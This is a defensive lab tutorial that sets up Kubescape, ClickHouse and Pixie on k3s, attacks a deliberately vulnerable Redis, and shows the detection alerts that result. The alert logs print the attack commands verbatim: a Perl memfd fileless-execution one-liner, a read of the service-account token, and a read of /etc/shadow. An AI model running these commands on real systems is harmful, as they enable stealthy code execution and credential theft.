Tutorial

Sovereign SOC Demo Pixie and Kubescape

Constanze RoedigDr Constanze Roedig
by  Constanze Roedig and Dr Constanze Roedig · on
KubernetesSecurityObservability
on k3s, kernel 6.1
#eBPF#MCP#pixie#sovereignsoc

1. Verify the playground and install the SOC stack

The k3s playground is already up and Tailscale was installed by the init task. All install scripts live in the soc repo under tree/.

1.1 Clone the repos

kubectl get nodes
git clone https://github.com/k8sstormcenter/bob /home/laborant/bob

1.2 Install Kubescape Clickhouse and Vector (from soc Makefile)

In the init tasks, we installed tree/kubescape/values.yaml and applies tree/kubescape/default-rules.yaml.

Deployed Clickhouse: Altinity operator, ClickHouse Keeper (1 replica), ClickHouse cluster (2 shards x 1 replica), forensic database schema (forensic_db.alerts), and runs a smoke test.

Vector tails kubescape node-agent logs, parses JSON alerts, and inserts them into ClickHouse forensic_db.alerts.

1.6 Install Pixie

export PX_CLOUD_ADDR=pixie.austrianopencloudcommunity.org
#px auth login #only if your token is expired

px deploy --pem_memory_limit=1Gi -y

1.7 Verify all components

kubectl get pods -n honey
kubectl get pods -n clickhouse
kubectl get pods -n pl

CH_POD=$(kubectl get pods -n clickhouse -l "clickhouse.altinity.com/chi=forensic-soc-db"  -o jsonpath='{.items[0].metadata.name}')
RESULT=$(kubectl exec -n clickhouse "$CH_POD" -- clickhouse-client --user forensic_analyst --password changeme-analyst  -q "SELECT count() FROM forensic_db.alerts ")
kubectl exec -n clickhouse "$CH_POD" -- clickhouse-client --user forensic_analyst --password changeme-analyst  -q "DESCRIBE forensic_db.kubescape_logs FORMAT PrettyCompactMonoBlock"
kubectl exec -n clickhouse "$CH_POD" -- clickhouse-client --user forensic_analyst --password changeme-analyst  -q "SELECT * FROM forensic_db.kubescape_logs"
kubectl exec -n clickhouse "$CH_POD" -- clickhouse-client --user forensic_analyst --password changeme-analyst  -q "SHOW TABLES FROM forensic_db"

in a seperate terminal, watch the kubescape logs

kubectl logs -n honey -l app=node-agent -c node-agent -f

4. Deploy the vulnerable redis

The files are already avail on disk

4.1 First the SBOB

cd /home/laborant
kubectl create ns redis --dry-run=client -o yaml | kubectl apply -f -
kubectl apply -n redis -f redis-sbob.yaml

4.2 Then the app

kubectl apply -n redis -f redis.yaml

4.3 Now enable the adaptive writing

export PX_API_KEY=..
export TTL="ttl.sh/adaptive-export-b1c88a20:24h"

git clone https://github.com/k8sstormcenter/pixie
cd pixie
git checkout entlein/adaptive-export-config
cat > /tmp/adaptive_export_real_secret.yaml <<EOF
apiVersion: v1
kind: Secret
metadata:
  name: pl-adaptive-export-secrets
type: Opaque
stringData:
  pixie-api-key: "${PX_API_KEY}"
  clickhouse-dsn: "ingest_writer:changeme-ingest@clickhouse-forensic-soc-db.clickhouse.svc.cluster.local:9000/forensic_db"
EOF
kubectl apply -n pl -f ~/pixie/k8s/vizier/bootstrap/adaptive_export_role.yaml
kubectl apply -n pl -f /tmp/adaptive_export_real_secret.yaml
kubectl apply -n pl -f ~/pixie/k8s/vizier/bootstrap/adaptive_export_deployment.yaml
kubectl -n pl set image deploy/adaptive-export adaptive-export="$TTL"
kubectl -n pl scale deploy/adaptive-export --replicas=1   # YAML ships replicas=0
kubectl -n pl rollout status deploy/adaptive-export --timeout=120s

kubectl -n pl set env deploy/adaptive-export DETECTION_LOOKBACK_SEC=600

Our adaptive_export supports three modes via EXPORT_MODE env var:

modebehavior
auto (default)detection drives enable/disable
alwaysplugin always enabled, bypasses detection
neverplugin always disabled, tears down ch-* scripts
# bypass detection — force enable (good for "watch plugin install" demo)
kubectl -n pl set env deploy/adaptive-export EXPORT_MODE=always

# tear down — remove plugin state + ch-* scripts cleanly
kubectl -n pl set env deploy/adaptive-export EXPORT_MODE=never

# back to auto
kubectl -n pl set env deploy/adaptive-export EXPORT_MODE-

5. Functional Traffic

cd /home/laborant/bob
../bobctl

5.1 Execute functional tests

../bobctl test --functional-tests example/redis-functional-tests.yaml -n redis -v

Desired outcome:

kubectl logs -n honey -l app=node-agent -c node-agent -f

has noUnexpected logs

5.2 Attack tests

Now fire the full CVE-2025-49844 attack suite — 12 distinct fileless and post-exploitation patterns delivered as Lua EVAL payloads over RESP. Each attack in the suite carries inline expectedDetections, so the markdown report tells you exactly which kubescape rule should have tripped (R1005 fileless exec, R0006 SA-token read, R0010 /etc/shadow read, R1008 mining-pool DNS, …).

../bobctl attack --attack-suite example/redis-attacks.yaml  -n redis --format markdown

Desired outcome:

kubectl logs -n honey -l app=node-agent -c node-agent -f

now has the following entries

{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/proc/self/fd/3","/etc/hostname"],"exec":"/proc/self/fd/3","message":"Unexpected process launched: 3 with PID 125920"},"infectedPID":125920,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.303026359Z","trace":{},"uniqueID":"d1fdf47a3da11216126cbdf8c892dd80","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"3","commandLine":"/proc/self/fd/3 /etc/hostname"},"file":{"name":"memfd:bob","directory":"."}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125919":{"pid":125919,"cmdline":"/bin/sh -c perl -e 'my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\"'","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"3␟125920":{"pid":125920,"cmdline":"/proc/self/fd/3 /etc/hostname","comm":"3","ppid":125919,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"memfd:bob"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: 3 with PID 125920","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Fileless execution detected","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/proc/self/fd/3","/etc/hostname"],"exec":"/proc/self/fd/3","message":"Fileless execution detected: exec call \"3\" is from a malicious source"},"infectedPID":125920,"severity":8,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.303026359Z","trace":{},"uniqueID":"98644f807a01d02b784566dce39246a3","identifiers":{"process":{"name":"3","commandLine":"/proc/self/fd/3 /etc/hostname"},"file":{"name":"memfd:bob","directory":"."}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R1005","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125919":{"pid":125919,"cmdline":"/bin/sh -c perl -e 'my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\"'","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"3␟125920":{"pid":125920,"cmdline":"/proc/self/fd/3 /etc/hostname","comm":"3","ppid":125919,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"memfd:bob"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Fileless execution detected: exec call \"3\" is from a malicious source","msg":"Fileless execution detected","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","perl -e 'my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\"'"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125919"},"infectedPID":125919,"severity":1,"size":"4.1 kB","timestamp":"2026-04-12T17:02:40.295750422Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c perl -e 'my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\"'"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125919":{"pid":125919,"cmdline":"/bin/sh -c perl -e 'my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\"'","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125919","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/perl","-e","my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\""],"exec":"/usr/bin/perl","message":"Unexpected process launched: perl with PID 125920"},"infectedPID":125920,"severity":1,"timestamp":"2026-04-12T17:02:40.298262711Z","trace":{},"uniqueID":"452b0edfe862133c04a3660218ac80bb","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"perl","commandLine":"/usr/bin/perl -e my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\""},"file":{"name":"perl","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125919":{"pid":125919,"cmdline":"/bin/sh -c perl -e 'my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\"'","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"perl␟125920":{"pid":125920,"cmdline":"/usr/bin/perl -e my $n=\"bob\\0\";my $fd=syscall(319,$n,0);die if $fd\u003c0;open(my $s,\"\u003c:raw\",\"/bin/cat\");open(my $d,\"\u003e\u0026=\",$fd);binmode $d;my $b;while(read($s,$b,8192)){print $d $b}close $s;exec{\"/proc/self/fd/$fd\"}\"cat\",\"/etc/hostname\"","comm":"perl","ppid":125919,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/perl"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: perl with PID 125920","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","cat /var/run/secrets/kubernetes.io/serviceaccount/token 2\u003e/dev/null || echo no_token"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125921"},"infectedPID":125921,"severity":1,"timestamp":"2026-04-12T17:02:40.320140308Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c cat /var/run/secrets/kubernetes.io/serviceaccount/token 2\u003e/dev/null || echo no_token"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125921":{"pid":125921,"cmdline":"/bin/sh -c cat /var/run/secrets/kubernetes.io/serviceaccount/token 2\u003e/dev/null || echo no_token","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125921","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/cat","/var/run/secrets/kubernetes.io/serviceaccount/token"],"exec":"/usr/bin/cat","message":"Unexpected process launched: cat with PID 125922"},"infectedPID":125922,"severity":1,"timestamp":"2026-04-12T17:02:40.322935645Z","trace":{},"uniqueID":"c72d283f13b6c19d97dcd2928d496ef2","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cat","commandLine":"/usr/bin/cat /var/run/secrets/kubernetes.io/serviceaccount/token"},"file":{"name":"cat","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125921":{"pid":125921,"cmdline":"/bin/sh -c cat /var/run/secrets/kubernetes.io/serviceaccount/token 2\u003e/dev/null || echo no_token","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cat␟125922":{"pid":125922,"cmdline":"/usr/bin/cat /var/run/secrets/kubernetes.io/serviceaccount/token","comm":"cat","ppid":125921,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cat"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: cat with PID 125922","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected service account token access","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","flags":["O_RDONLY"],"message":"Unexpected access to service account token: /run/secrets/kubernetes.io/serviceaccount/..2026_04_12_16_40_38.1480693247/token with flags: O_RDONLY","path":"/run/secrets/kubernetes.io/serviceaccount/..2026_04_12_16_40_38.1480693247/token"},"infectedPID":125922,"severity":5,"timestamp":"2026-04-12T17:02:40.325122345Z","trace":{},"uniqueID":"d077f244def8a70e5ea758bd8352fcd8","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cat"},"file":{"name":"token","directory":"/run/secrets/kubernetes.io/serviceaccount/..2026_04_12_16_40_38.1480693247"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0006","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125921":{"pid":125921,"cmdline":"/bin/sh -c cat /var/run/secrets/kubernetes.io/serviceaccount/token 2\u003e/dev/null || echo no_token","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cat␟125922":{"pid":125922,"cmdline":"/usr/bin/cat /var/run/secrets/kubernetes.io/serviceaccount/token","comm":"cat","ppid":125921,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cat"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected access to service account token: /run/secrets/kubernetes.io/serviceaccount/..2026_04_12_16_40_38.1480693247/token with flags: O_RDONLY","msg":"Unexpected service account token access","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/bin/sh","-c","cat /etc/shadow 2\u003e\u00261; echo shadow_attempted"],"exec":"/bin/sh","message":"Unexpected process launched: sh with PID 125924"},"infectedPID":125924,"severity":1,"timestamp":"2026-04-12T17:02:40.340272909Z","trace":{},"uniqueID":"e02cfa37d3e36766b3d4c8757190a398","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"sh","commandLine":"/bin/sh -c cat /etc/shadow 2\u003e\u00261; echo shadow_attempted"},"file":{"name":"dash","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125924":{"pid":125924,"cmdline":"/bin/sh -c cat /etc/shadow 2\u003e\u00261; echo shadow_attempted","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash"}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: sh with PID 125924","msg":"Unexpected process launched","processtree_depth":"2","time":"2026-04-12T17:02:40Z"}
{"BaseRuntimeMetadata":{"alertName":"Unexpected process launched","arguments":{"apChecksum":"171ab997061816c453401e72d0014c43a9b21385458efc56d16db4b3bfbbda6c","args":["/usr/bin/cat","/etc/shadow"],"exec":"/usr/bin/cat","message":"Unexpected process launched: cat with PID 125925"},"infectedPID":125925,"severity":1,"timestamp":"2026-04-12T17:02:40.343004958Z","trace":{},"uniqueID":"c72d283f13b6c19d97dcd2928d496ef2","profileMetadata":{"name":"redis","failOnProfile":false,"type":0},"identifiers":{"process":{"name":"cat","commandLine":"/usr/bin/cat /etc/shadow"},"file":{"name":"cat","directory":"/usr/bin"}},"agentVersion":"dev-e64d59a"},"CloudMetadata":null,"RuleID":"R0001","RuntimeK8sDetails":{"clusterName":"bobexample","containerName":"redis","hostNetwork":false,"image":"ghcr.io/k8sstormcenter/redis-vulnerable:7.2.10","imageDigest":"sha256:69cdf2a6eda0be0a2238d20c03922f7fbf18e7274e49eda614fb41970ac6bff0","namespace":"redis","containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2","podName":"redis-578d5dc9bd-kjj78","podNamespace":"redis","podUID":"6734577c-793e-4a68-8c66-3d8af801beb1","podLabels":{"app.kubernetes.io/name":"redis","app.kubernetes.io/version":"7.2.10","kubescape.io/user-defined-profile":"redis","pod-template-hash":"578d5dc9bd"},"workloadName":"redis","workloadNamespace":"redis","workloadKind":"Deployment","workloadUID":"b4cf43b7-24c7-4f9a-a70c-36778999b3f8"},"RuntimeProcessDetails":{"processTree":{"pid":106040,"cmdline":"redis-server 0.0.0.0:6379","comm":"redis-server","ppid":105965,"pcomm":"containerd-shim","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","cwd":"/","path":"/usr/local/bin/redis-server","childrenMap":{"sh␟125924":{"pid":125924,"cmdline":"/bin/sh -c cat /etc/shadow 2\u003e\u00261; echo shadow_attempted","comm":"sh","ppid":106040,"pcomm":"redis-server","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/dash","childrenMap":{"cat␟125925":{"pid":125925,"cmdline":"/usr/bin/cat /etc/shadow","comm":"cat","ppid":125924,"pcomm":"sh","uid":999,"gid":999,"startTime":"0001-01-01T00:00:00Z","path":"/usr/bin/cat"}}}}},"containerID":"1c36d9078a437065bd446e18b32f11a9047fc5cbc26d8774bfd526bc44b173d2"},"level":"error","message":"Unexpected process launched: cat with PID 125925","msg":"Unexpected process launched","processtree_depth":"3","time":"2026-04-12T17:02:40Z"}
